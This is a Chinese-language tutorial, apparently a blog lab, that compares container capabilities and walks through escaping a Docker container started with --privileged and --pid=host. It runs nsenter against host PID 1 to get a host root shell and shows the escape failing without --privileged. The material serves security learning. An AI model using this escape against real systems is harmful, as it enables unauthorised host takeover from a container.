docker run --rm -it aeifkz/my-ubuntu:v1.0 bash ;
# 這邊沒意外會是 root
whoami ;
sudo systemctl status docker.service ;
ps aux | grep [pid] | grep -v grep ;
# 在容器內呼叫,顯示 CapEff: 00000000a80425fb
cat /proc/$$/status | grep CapEff ;
# 在宿主機用 root 呼叫
#切到 root 身分,顯示 CapEff: 0000003fffffffff
sudo su ;
cat /proc/$$/status | grep CapEff ;
# 回到容器內部,先用 capsh 的 Current IAB 看一下目前被禁止的能力
capsh --print ;
# 試著修改一下系統時間,會發現沒權限???!!!
date -s "2023-06-08 03:19:56"
docker run --rm -it --privileged aeifkz/my-ubuntu:v1.0 bash ;
# 在容器內呼叫,顯示 CapEff: 0000003fffffffff
cat /proc/$$/status | grep CapEff ;
# 再用 capsh 的 Current IAB 看一下目前被禁止的能力
capsh --print ;
# 試著亂改一下系統時間,會發現可以改惹
date -s "2023-06-08 03:19:56"
那這個容器我就稱呼它為特權容器,接下來就可以開始測試容器逃逸的手法。容器逃逸的手法大致上分為三類,有興趣的可以看我之前分享過的相關資料Day18 - 不要只看外表,容器逃逸,是由內而外逃脫出來的。
而這次主要要探討的主要是針對容器啟用的設定錯誤導致容器內部權限過高而可以進行容器逃逸。而可以設定的相關部分可以參考 Bad Pods: Kubernetes Pod Privilege Escalation。這篇雖然是針對 K8s Pod 所寫的,但相同的概念也可以套用到 docker 上面。
今天要介紹的容器逃逸手法為最簡單的開放 privileged + hostpid 的特權容器。建立容器之後,先經由工具 genuinetools/amicontained 進行環境判斷,然後再進行後續攻擊。
環境建立步驟如下 :
#建立特權容器並掛入宿主機的 pid
docker run --rm -it --privileged --pid=host aeifkz/my-ubuntu:v1.0 bash ;
#此時會發現 pid 1 為 /sbin/init,代表宿主機的 pid 已經被掛入容器內部
ps aux | head -n 10 ;
curl -fSL "https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64" -o "amicontained" && chmod a+x "amicontained" ;
./amicontained &
nsenter -m -u -i -n -p -t 1 bash ;
#會發現已經跳脫宿主機並且可以呼叫 docker 指令
docker ps ;
#建立特權容器並掛入宿主機的 pid
docker run --rm -it --pid=host aeifkz/my-ubuntu:v1.0 bash ;
#出現 Permission denied
nsenter -m -u -i -n -p -t 1 bash ;